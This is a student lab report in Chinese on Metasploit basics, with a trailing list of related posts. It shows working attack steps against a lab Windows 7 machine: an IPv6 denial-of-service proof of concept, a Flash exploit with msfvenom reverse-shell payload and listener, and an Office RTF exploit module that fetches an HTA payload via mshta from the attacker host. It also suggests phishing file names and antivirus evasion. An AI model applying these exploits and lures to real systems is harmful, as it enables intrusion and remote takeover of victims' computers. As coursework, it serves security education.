一、实践内容

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。

1 一个主动攻击实践

使用 CVE-2021-24086 对 win7 进行dos攻击

2021年2月9日微软发布了一个安全补丁程序,修复了编号为CVE-2021-24086的拒绝服务漏洞,该漏洞影响每个Windows版本的IPv6堆栈。该问题是由于IPv6分片处理不当造成的。

漏洞介绍

Windows IPv6协议栈存在一处拒绝服务漏洞,此漏洞的根本原因是IPv6的嵌套分片机制中,当尝试递归重组嵌套的分片时会计算内部有效载荷中包含的所有扩展标头,当重组扩展头约为0xffff字节的数据包时,在IPv6 ReassembleDatagram中发生的NULL指针取消引用,发生崩溃。

远程攻击者可通过向目标系统发送特制数据包来利用此漏洞,成功利用此漏洞可导致目标系统拒绝服务(蓝屏)。

本实验使用 Win7 作为靶机来进行渗透测试 Win7 环境说明:IP 地址 192.168.30.165 ,防火墙状态开启。

1 攻击前的准备

  • 查看靶机IP地址
ipconfig

2 执行攻击

  • 使用nessus扫描靶机漏洞

  • 在浏览器地址栏中输入https://kali_ip:8834然后登录进入

  • 点击Policies新建规则,plugins全选

  • 点击myscan新建扫描,随后输入靶机ip地址开始扫描

  • 点进去查看漏洞

  • 下载CVE-2021-24086 POC

  • 执行攻击

  • 目标靶机已蓝屏

2 一个针对浏览器的攻击

Kali Linux + Windows 7 sp1

渗透机:Kali Linux (ip:192.168.30.147)

靶机:Windows 7 sp1 (ip:192.168.30.165)

exp:cve-2018-4878.py

flash:flashplayer_activex_28.0.0.137.exe

  • 使用msfvenom生成shell代码

  • 生成代码,其中lhost为kali的ip地址,lport为自定义的端口号

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.30.147 lport=8888  -f  python>shellcode.txt

  • 查看代码文件
root@kali:~# cat shellcode.txt

  • 进入CVE-2018-4878-master目录,编辑CVE-2018-4878.py文件

将上面msfvenom生成的代码覆盖掉原来的代码:

  • 修改CVE-2018-4878.py下面的文件信息(后面会用到,之后保存修改退出):

  • Kali Linux进入CVE-2018-4878路径,用Python执行CVE-2018-4878-master.py代码
root@kali:~/Desktop/CVE-2018-4878-master# python cve-2018-4878.py
root@kali:~/Desktop/CVE-2018-4878-master# ls -l

  • Kali Linux开启Apache2服务,并将上面的2个文件放入/var/www/html目录中(apache web路径)
root@kali:~/Desktop/CVE-2018-4878-master# service apache2 start
root@kali:~/Desktop/CVE-2018-4878-master# cp index2.html /var/www/html/index2.html
root@kali:~/Desktop/CVE-2018-4878-master# cp exploit.swf /var/www/html/exploit.swf

此时,Kali Linux上Web服务启动,并且具备index.html这个页面。只要靶机启用flash并访问了这个页面,则可以直接被控制。

  • Kali Linux开启Shell会话监听
使用handler监听模块
msf > use exploit/multi/handler
回弹一个tcp连接
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
设置kali渗透机的ip地址
msf exploit(handler) > set lhost 192.168.30.147
设置监听端口,这个需跟上面msfvenom设置的端口一致
msf exploit(handler) > set lport 8888
开启监听,等待肉鸡上线
msf exploit(handler) > exploit

  • Windows7 安装flash插件,并用IE浏览器访问页面

  • Kali Linux 上获取meterpreter shell,并进行管理

3 一个针对客户端的攻击,以office为例

漏洞:CVE-2018-0802

安装office。

检查是否存在漏洞

下载脚本:https://github.com/Ridter/RTF_11882_0802/

输入下面的命令:

python RTF_11882_0802.py -c "cmd.exe /c calc.exe" -o calc.doc

双击打开calc.doc,如果弹出计算器说明存在漏洞:

  • 漏洞利用
  • 将下面的脚本写入到PS_shell.rb。
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
## class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {} ],
],
'DefaultTarget' => 0,
))
end def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{url}\"")
end
end

将PS_shell.rb放置在/usr/share/metasploit-framework/modules/exploits/windows/smb/

打开msf,执行msfconsole。进去后记得要 reload_all。选择PS_shell脚本,然后开启监听

msf6 > use exploits/windows/smb/PS_shell
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/PS_shell) > show options Module options (exploit/windows/smb/PS_shell): Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.30.147 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port Exploit target: Id Name
-- ----
0 Automatic msf6 exploit(windows/smb/PS_shell) > set uripath wpy
uripath => wpy
msf6 exploit(windows/smb/PS_shell) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.30.147:4444
[*] Using URL: http://0.0.0.0:8080/wpy
[*] Local IP: http://192.168.30.147:8080/wpy
msf6 exploit(windows/smb/PS_shell) > [*] Server started.
[*] Place the following DDE in an MS document:
mshta.exe "http://192.168.30.147:8080/wpy"

生成病毒文件:

python RTF_11882_0802.py -c "mshta http://192.168.30.147:8080/wpy" -o new.doc

new.doc打开之后就是普通word文档的样子,看不出什么异常:

但是打开之后,kali成功收到反弹shell,权限为当前登录用户权限。

这个远程代码执行漏洞最关键的一步是在被攻击机器上打开带病毒的word文件,所以实际场景中钓鱼比较多,取一个让人有打开欲望的文件名,比如之前通报过的新冠感染诊断,武汉旅行信息搜集表等,如果刚好你的系统装了office且没有即时打补丁,恭喜你~

4 辅助模块的使用

metasploit的auxiliary(辅助模块): 包含扫描、fuzz测试、漏洞挖掘、⽹络协议欺骗等程序。

下面,使用PortScan进行端口扫描

命令如下:

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.30.165
exploit

结果如下:

我们可以看到,metasploit帮助我们获取了目标已经开放的端口,由此我们可以推测出靶机可能存在的漏洞和可能提供的服务,进而完成后续攻击。

二、问题回答

1 用自己的话解释什么是exploit,payload,encode

exploit:exploit字面上的意思是“开拓、开发”,而在破解圈子里面,公认的概念可能是“漏洞及其利用”。通俗的说,exploit就是利用一切可以利用的工具、采用一切可以采用的方法、找到一切可以找到的漏洞,并且通过对漏洞资料的分析研究,从而达到获取资料文档、添加自定义用户、甚至侵入系统获得管理员权限控制整个系统的最终目的。

payload:payload 可以理解为一系列信息中最为关键的信息。

encode:通过一定规律的编码算法,将对metaspolit、CS生成的shellcode进行编码/模糊处理/变形,从原始shellcode中删除所有无效的字符,从而逃避杀毒软件检测。

2 实践总结与体会

报错记录:

┌──(root20191317wpy)-[/home/wpy20191317/桌面/CVE-2021-24086]
└─# python3 cve-2021-24086.py
66 fragments, total size 0xfff8
Traceback (most recent call last):
File "/home/wpy20191317/桌面/CVE-2021-24086/cve-2021-24086.py", line 388, in <module>
main()
File "/home/wpy20191317/桌面/CVE-2021-24086/cve-2021-24086.py", line 384, in main
pull_the_trigger(args)
File "/home/wpy20191317/桌面/CVE-2021-24086/cve-2021-24086.py", line 370, in pull_the_trigger
sendp(frags, iface= args.iface)
File "/usr/lib/python3/dist-packages/scapy/sendrecv.py", line 376, in sendp
socket = socket or conf.L2socket(iface=iface, *args, **kargs)
File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 411, in __init__
set_promisc(self.ins, self.iface)
File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 147, in set_promisc
mreq = struct.pack("IHH8s", get_if_index(iff), PACKET_MR_PROMISC, 0, b"")
File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 360, in get_if_index
return int(struct.unpack("I", get_if(iff, SIOCGIFINDEX)[16:20])[0])
File "/usr/lib/python3/dist-packages/scapy/arch/common.py", line 31, in get_if
return ioctl(sck, cmd, struct.pack("16s16x", iff.encode("utf8")))
OSError: [Errno 19] No such device

解决网卡问题,我的网卡名称为eth0,但是脚本中默认为eth1,改过来就好了。

这次实验具体难度体现在,需要找到不同的漏洞进行操作,但是具体操作在网络上都可以找到,所以难度可能就只有在实践过程中遇到过的奇奇怪怪的报错。

3 离实战还缺些什么技术或步骤?

首先是能扫描到局域网内主机或者其他主机的扫描器,其次就是判断扫描到的主机是否安装了我们想要利用的漏洞的补丁包,然后是如果主机有杀毒软件我们应该如何绕过杀毒软件。最后是构造攻击手段,并且通过钓鱼网站或者社会工程学等方式令主机点击钓鱼链接或者木马程序或者我们构造好的恶意文件。

Exp6 MSF应用基础的更多相关文章

  1. 20145302张薇 《网络对抗》MSF应用基础

    20145302张薇 <网络对抗>MSF应用基础 实验内容 掌握metasploit的基本应用方式 1.主动攻击--ms08_067 2.针对浏览器的攻击--ms11_050 3.针对客户 ...

  2. 20145309李昊《网络对抗》MSF应用基础

    实验内容 掌握metasploit的基本应用方式1.主动攻击——ms08_0672.针对浏览器的攻击——ms11_0503.针对客户端的攻击——Adobe4.成功应用一个辅助模块——scanner/d ...

  3. 2018-2019-2 20165330《网络对抗技术》Exp5 MSF基础应用

    目录 基础问题 相关知识 实验目的 实验内容 实验步骤 离实战还缺些什么技术或步骤? 实验总结与体会 实验目的 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路 返回目 ...

  4. 2018-2019-2 20165312《网络攻防技术》Exp6 信息搜集与漏洞扫描

    2018-2019-2 20165312<网络攻防技术>Exp6 信息搜集与漏洞扫描 目录 一.信息搜集技术与隐私保护--知识点总结 二.实验步骤 各种搜索技巧的应用 Google Hac ...

  5. [书目20160218]微软软件研发的奥秘:MSF精髓

    目录 第一部分 解决方案交付基础 第1章 什么是MSF,它适合你吗 2 1.1 MSF的历史和起源 2 1.2 为什么是“框架” 3 1.3 MSF有何不同 5 1.4 MSF第四版的要素 5 1.5 ...

  6. msf stagers开发不完全指北(四): msf 中使用域前置技术隐藏流量

    msf 中使用域前置技术隐藏流量 前几篇都是说了下如何采用不同的语言开发 reverse_tcp 第二阶段,接下来将慢慢分析 reverse_http,这篇文章并不会围绕 stagers 进行讲解,这 ...

  7. 2017-2018-2 《网络对抗技术》 20155322 Exp4 恶意代码分析

    [-= 博客目录 =-] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 2-实践过程 2.1-Mac下网络监控 2.2-Windows下网络监控 2.3-Mac下恶意软件分析 2 ...

  8. 2017-2018-2 《网络对抗技术》 20155322 Exp3 免杀原理与实践

    #2017-2018-2 <网络对抗技术> 20155322 Exp3 免杀原理与实践 [-= 博客目录 =-] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 2-实 ...

  9. 2017-2018-2 《网络对抗技术》 20155322 Exp 5 MSF基础应用

    [-= 博客目录 =-] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 2-实践过程 2.1-情报收集 2.2-主动攻击实践-ms08_067 2.3-浏览器攻击实践-many* ...

  10. 20165223《网络对抗技术》Exp5 MSF基础应用

    目录 -- MSF基础应用 实验说明 实验任务内容 基础问题回答 实验内容 主动攻击 ms17_10_eternalblue(成功) ms17_10_psexec(成功) ms08_067_netap ...

随机推荐

  1. 01 LED点灯

    新建一个STM32CubeIDE 新工程 选择自己的芯片型号,我的是STM32F103RCT6 选择工程保存位置,不能有中文路径,会报错 选择下载方式.一定要选,不然下次下载有问题 选择时钟来源,我的 ...

  2. Vue3 企业级优雅实战 - 组件库框架 - 10 实现组件库 cli - 下

    上文创建了一堆 utils.component-info,并实现了新组件模块相关目录和文件的创建.本文继续实现后面的内容. 1 组件样式文件并导入 在 src/service 目录中创建 init-s ...

  3. spring-in-action-day04-配置属性 @ConfigurationProperties

    1.Spring环境抽象的概念 2.怎么配置属性.在application.yml举例一些常用的配置 3.自定义配置属性@ConfigurationProperties(prefix = " ...

  4. CF1311F Moving Points

    题目传送门 思路 给出一种不需要脑子的四颗树状数组解法. 这四颗树状数组分别为:一颗维护负数,一颗维护负数个数,一颗维护正数,一颗维护正数个数. 首先考虑没有速度该怎么求. 不妨先按 \(x_i\) ...

  5. MySQL错误锦集【持续更新】

    [42000][1075] Incorrect table definition; there can be only one auto column and it must be defined a ...

  6. CCRD_TOC_2007年12月_总第13期

    中信国健临床通讯 2007年12月, 总第13期 ACR2007专辑 目 录   类风湿关节炎 1.        来自CORRONA的数据:TNF抑制剂停用后临床获益仍持续存在 Lee SJ, et ...

  7. WPF Xaml标签的一些特殊符号 如何输入

    小于号 <   输入 <  注意有分号 大于号 >   输入  > 符号 &   输入 & 引号 "  输入 "

  8. Express 项目发送 Cookie

    在使用 Cookie 之前,需要安装 Express 中间件--cookie-parser: npm i cookie-parser import express from "express ...

  9. LeetCode算法训练 93.复原IP地址 78.子集 90.子集II

    欢迎关注个人公众号:爱喝可可牛奶 LeetCode算法训练 93.复原IP地址 78.子集 90.子集II LeetCode 93. 复原 IP 地址 分析 字符串全部由数字组成,ipv4每一段数字不 ...

  10. Postgresql invalid command \N数据恢复处理

    做一个单表恢复工作,数据在1000多W,说是报了错误导不进去,环境与流程见下:恢复步骤: 1.导出语句 pg_dump -h xxxxx -p 5432 -U postgres -b -Fp db_t ...